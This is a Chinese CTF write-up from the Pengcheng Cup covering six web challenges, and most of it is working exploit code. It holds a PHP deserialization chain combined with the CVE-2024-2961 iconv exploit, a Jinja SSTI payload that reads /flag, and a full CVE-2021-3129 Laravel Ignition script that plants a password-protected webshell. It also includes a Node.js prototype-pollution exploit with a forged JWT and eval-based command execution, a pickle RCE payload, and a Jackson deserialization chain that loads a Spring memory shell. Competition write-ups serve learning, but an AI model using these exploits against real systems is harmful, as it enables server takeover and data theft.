鹏城杯

体验很差 但是队友很给力呀

记录几个 web 题做法

web 1 fileread

fileread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class cls1{
var $cls;
var $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v)
echo $this->cls->$v;
}
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
var_dump($key);
if($key == 'fileput')
return $this->fileput();
else
return '<p>'.htmlspecialchars($key).'</p>';
}
function fileput(){
echo 'Your file:'.file_get_contents($this->filename);
}
}

$cls2 = new cls2();

$cls2->filename = "index.php"; // 确保文件路径正确

$cls1 = new cls1();

$cls1->cls = $cls2;

$cls1->arr = ['fileput'];

$serialized = serialize($cls1);
$base64_encoded = base64_encode($serialized);
echo $base64_encoded;
?>

能读index 读flag权限不够..

1
2
3
4
/flag
string(7) "fileput"
Warning: file_get_contents(../../../../../../flag): Failed to open stream: Permission denied in /var/www/html/index.php on line 24
Your file:

input试试, 不行

低权限没法用 docker env文件都被限制

1
CVE-2024-2961 https://github.com/ambionics/cnext-exploits/ https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py CVE-2024-2961 CNEXT (CVE-2024-2961) 漏洞利用,glibc 的 iconv() 中的缓冲区溢出 https://xz.aliyun.com/t/15549?time__1311=Gqjxn7itGQeWqGNDQiiQGkDuWLOu32ougRbD

将 exp 中发送接收数据的部分与本题相适应后即可 RCE,执行 /readflag > file 后,读文件获取 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 只有 exp 开头小部分被修改,在这里展示
from __future__ import annotations

import base64
import zlib

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
from phpserialize import * # patch here

from pwn import *
from ten import *

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

class cls1(PHP_Class):
def __init__(self, cls, arr):
self.cls = cls
self.arr = arr


class cls2(PHP_Class):
def __init__(self, filename, txt):
self.filename = filename
self.txt = txt

# patch begin
class Remote:
"""A helper class to send the payload and download files.

The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.

The code here serves as an example that attacks a page that looks like:

```php
<?php

$data = file_get_contents($_POST['file']);
echo "File contents: $data";
Tweak it to fit your target, and start the exploit.
"""

def __init__(self, url: str) -> None:
    self.url = url
    self.session = Session()

def send(self, path: str) -> Response:
    """Sends given `path` to the HTTP server. Returns the response."""
    ser = base64.encode(serialize(cls1(cls2(path, ""), ["fileput"])))
    return self.session.get(self.url, params={"ser": ser})

def download(self, path: str) -> bytes:
    """Returns the contents of a remote file."""
    path = f"php://filter/convert.base64-encode/resource={path}"
    response = self.send(path)
    data = response.re.search(b"Your file:(.*)", flags=re.S).group(1)
    return base64.decode(data)

patch end

1
2
3
4
5
6
7
8
9

## web 2 python口算

用脚本玩游戏 (脚本见后门发username的 这里只用发GET请求)

下载到一个hint

```python
/static/f4dd790b-bc4e-48de-b717-903d433c597f

进而

1
2
3
@app.route('/')
username = 'ctfer!'
if request.args.get('username'):

还是输出的 hint .. username={requests.utils.quote(username)} 没效果?

1
2
3
4
5
6
7
8
9
[
<class 'collections.abc.Callable'>
<class 'os._wrap_close'>133

username = '{{[].__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[\\'popen\\'](\\'cat${IFS}/flag\\').read()}}'

空格被过滤了 这${

IFS}绕过以下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import re

# 配置 URL
calc_url = '<http://192.168.18.28/calc>' # 替换为实际的计算接口 URL
submit_url = '<http://192.168.18.28/>' # 替换为提交结果的 URL

def fetch_calculation(username):
# 请求计算接口,包含 username 参数
response = requests.get(f"{calc_url}?username={requests.utils.quote(username)}")

if response.status_code == 200:
expression = response.text.strip() # 移除首尾空白字符
print('Received from /calc:', expression)
return expression

def calculate_expression(expression):
if re.match(r'^[0-9+\\-*/(). ]+$', expression):
try:
answer = eval(expression)
print('Calculated answer:', answer)
return answer
except Exception as e:
print('Error evaluating expression:', e)
return None

def submit_answer(answer, username):
if answer is not None:
encoded_answer = requests.utils.quote(str(answer))

submit_url_with_answer = f"{submit_url}?answer={encoded_answer}&Submit=%E6%8F%90%E4%BA%A4&username={requests.utils.quote(username)}"

response = requests.get(submit_url_with_answer)
print('Submitted:', response.text)

if __name__ == '__main__':
username = 'root'
while True:
expression = fetch_calculation(username)
if expression:
answer = calculate_expression(expression)
submit_answer(answer, username) # 传递 username
else:
break

web 3 Laravel

https://github.com/joshuavanderpoll/CVE-2021-3129
Laravel 是一个 Web应用框架, 有着表现力强、语法优雅的特点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
# -*- coding: utf-8 -*-
import requests
import json
import sys
import re

# Proxy configuration
proxies = {
"http": '127.0.0.1:8080'
}

# Request headers
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"Content-Type": "application/json"
}

# Function to clear log
def clear_log(url):
data = {
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
response = requests.post(url, headers=headers, data=json.dumps(data, indent=1))
return response

# Function to check AA
def check_AA(url):
data = {
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
response = requests.post(url, headers=headers, data=json.dumps(data, indent=1))
return response

# Function for sending payload in Windows
def send_payload_windows(url):
data = {
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "" # Empty viewFile, need completion
}
}
response = requests.post(url, headers=headers, data=json.dumps(data, indent=1))
return response

# Function to filter log
def filter_log(url):
data = {
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
response = requests.post(url, headers=headers, data=json.dumps(data, indent=1))
return response

# Function to send Phar payload (Windows)
def phar(url, path):
data = {
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": r"phar://" + path + r"\\storage\\\\logs\\\\laravel.log\\\\test.txt"
}
}
response = requests.post(url, headers=headers, data=json.dumps(data, indent=1))
return response

# Function to send Phar payload (Linux)
def phar_linux(url, path):
data = {
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar://" + path + "/storage/logs/laravel.log/test.txt"
}
}
response = requests.post(url, headers=headers, data=json.dumps(data, indent=1))
return response

# Function to get the path
def get_path(url):
req = requests.get(url).text
pattern = re.compile(r'(#\\d* (.*)[/\\\\]vendor)')
matches = pattern.findall(req)
return matches[0][1] if matches else None

# Main execution
if __name__ == '__main__':
url = sys.argv[1] + "/_ignition/execute-solution"

# Clear logs multiple times
for _ in range(5):
clear_log(url)

# Check if the server responds with a 500 status code for AA
if check_AA(url).status_code == 500:
# Check if the path contains a colon (indicating Windows environment)
if ":" in get_path(url):
print("Windows detected")

if send_payload_windows(url).status_code == 500:
if filter_log(url).status_code == 200:
if phar(url, get_path(url)).status_code == 500:
if requests.get(sys.argv[1] + "/fuckyou.php").status_code == 200:
print(f"[+] Webshell address: {sys.argv[1]}/fuckyou.php, Password: pass")
else:
print("[-] Vulnerability does not exist")

# Check for Linux environment (when no colon in path)
elif ":" not in get_path(url):
print("Linux detected")

if send_payload_windows(url).status_code == 500: # Change to proper Linux payload function when defined
if filter_log(url).status_code == 200:
if phar_linux(url, get_path(url)).status_code == 500:
if requests.get(sys.argv[1] + "/fuckyou.php").status_code == 200:
print(f"Webshell address: {sys.argv[1]}/fuckyou.php, Password: pass")
else:
print("[-] Vulnerability does not exist")

运行之后会写入木马

image.png

这里哥斯拉V2.9 可以连 , 但是 V4.0 版本连接不上 , 很怪

1731147919338.png

web 4 notadmin

给了 app.js 源码
JavaScript 原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
let { User } = require('./user');
const crypto = require('crypto');
const path = require('path')

const app = express();
const port = 3000;

app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));

app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.json());

const tmp_user = {}

function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader;
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (!token) {
return res.redirect('/login');
}
try {
const decoded = jwt.verify(token, tmp_user.secretKey);
req.user = decoded;
next();
} catch (ex) {
return res.status(400).send('Invalid token.');
}
}

const merge = (a, b) => {
for (var c in b) {
console.log(JSON.stringify(b[c]));
if (check(b[c])) {
if (a.hasOwnProperty(c) && b.hasOwnProperty(c) && typeof a[c] === 'object' && typeof b[c] === 'object') {
merge(a[c], b[c]);
} else {
a[c] = b[c];
}
} else {
return 0
}
}
return a
}

console.log(tmp_user.secretKey)

var check = function (str) {
let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;

if (typeof str === 'object' && str !== null) {
for (let key in str) {
if (!check(key)) {
return false;
}
if (!check(str[key])) {
return false;
}
}
return true;
} else {
return !input.test(str);
}
};

app.get('/login', (req, res) => {
res.render('login')
});

app.post('/login', (req, res) => {
if (merge(tmp_user, req.body)) {
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (User.verifyLogin(tmp_user.password)) {
const token = jwt.sign({ username: tmp_user.username }, tmp_user.secretKey);
res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
} else {
res.send('Login failed!');
}
} else {
res.send("Hacker denied!")
}
});

app.get('/', (req, res) => {
authenticateToken(req, res, () => {
backcode = eval(tmp_user.code)
res.send("something happend~")
});
});

app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});

喜闻乐见的代码审计

  1. 用户登录:用户通过 /login 接口提交用户名及密码,验证后生成 JWT(JSON Web Token)
  2. 动态代码执行:在访问根路径 / 时,应用会通过 eval 执行存储在 tmp_user.code 中的 JavaScript 代码

漏洞:

  1. tmp_user.secretKey 使用 crypto.randomBytes(16).toString('hex') 生成随机密钥。若每次请求都生成新密钥,这将导致已签发的 JWT 无法校验,用户无法通过验证
    • 在用户登录时,若 tmp_user.secretKey 未定义,则会随机生成一个。然而,若攻击者可以多次登录,可能会反复获取不同的 JWT,从而绕过其他安全机制。
  2. 动态代码执行 eval:
    • 使用 eval 执行用户输入的代码是一个严重的安全隐患。这使得攻击者能够执行任意 JavaScript 代码,导致远程代码执行(RCE)漏洞
    • tmp_user.code 的内容没有经过任何验证或过滤,攻击者可以传入恶意代码,直接危害服务器及其数据
  3. 合并用户输入 merge 函数:
    • merge 函数尝试将用户输入与 tmp_user 合并,但其实现没有完全确保输入的安全性
    • 尽管 check 函数试图阻止某些特定字段的使用,但正则表达式的检查逻辑可能不够严格,攻击者仍然可以尝试利用其他字段进行攻击

思路

需要一个身份从而绕过 authenticateToken 的检查

可以直接污染key,让python签一个jwt,带着token去访问根路由,就可以执行命令了 ( QWNT 的回忆出现了 )

1
backcode = eval(tmp_user.code)

进入之后利用 eval 调用 tmp_user.code 进而污染

对于过滤 只需要嵌套 eval 函数进行 base64 的加密解密就行

exp

code

1
Reflect.get(global,Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(atob(`{payload_b64}`))

在源码中

1
app.use(express.static('public'));

可以推测 静态根目录是在 public 下面

那么 payload

1
global.process.mainModule.constructor._load("child_process").execSync("cat /flag > ./public/flag.txt")

参考 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64  
import jwt
import requests

url = "http://192.168.18.21"
key = '123456'

#签一个token
data = {"username":"admin"}
token = jwt.encode(data,key,algorithm='HS256')
#print(token)

payload = 'global.process.mainModule.constructor._load("child_process").execSync("cat /flag > ./public/flag.txt")'
payload_b64 = base64.b64encode(payload.encode()).decode('utf-8')
#print(payload_b64)

#污染
json = {
"secretKey":key,
"code":f"Reflect.get(global,Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(atob(`{payload_b64}`))" #两层eval,外面的eval执行,里面的eval解密
}
requests.post(url+"/login",json=json)

#执行
requests.get(url,headers={"Authorization":token})

#读取flag
res = requests.get(url+"/flag.txt")
print(res.text)

web 5 ez_python

账密 test/123456
得到一个 jwt
爆破 key 为 a123456 admin token 就可以进去 protected ` 了

1
2
3
4
5
6
import pickle  
import base64
def hhhhackme(pickled):
data = base64.urlsafe_b64decode(pickled)
deserialized = pickle.loads(data)
return ''

pickle 反序列化
利用报错回显可以拿到flag

1
2
3
4
5
6
7
8
9
import pickle  
import base64

class A(object):
def __reduce__(self):
return (exec, ("raise Exception(__import__('os').popen('cat /f*').read())",))

a = A()
print(base64.b64encode(pickle.dumps(a)))

web 6 LookUP

暂时不会 记录 周四搞完

二次反序列化

Jackson反序列化

黑名单ban了templatesimpl,又有jackson依赖,可以打二次反序列化

bad –> jackson –> signed –> bad –> jackson –> templatesimpl

不出网,打spring内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.test;  

import com.Utils.Util;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.IOException;

import static com.Utils.Util.setValue;

public class test {
public static void main(String[] args) throws Exception{
overrideJackson();
Object templates1 = Util.getTemplates(Util.file2ByteArray("C:\\Users\\13664\\Documents\\JavaUtils\\target\\classes\\com\\Memshell\\spring\\BehinderControllerShell.class"));
POJONode jsonNodes1 = new POJONode(templates1);
Object pojoNodeStableProxy = Util.getPOJONodeStableProxy(jsonNodes1);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setValue(badAttributeValueExpException,"val",pojoNodeStableProxy);

Object templates2 = Util.second_serialize(badAttributeValueExpException);
POJONode jsonNodes2 = new POJONode(templates2);
BadAttributeValueExpException badAttributeValueExpException1 = new BadAttributeValueExpException(2);
setValue(badAttributeValueExpException1,"val",jsonNodes2);

String serialize = Util.serialize(badAttributeValueExpException1);
System.out.println(serialize);
//Util.unserialize(serialize);

}
public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
// writeReplace.setBody("return $0;");
ctClass.writeFile();
ctClass.toClass();
}
}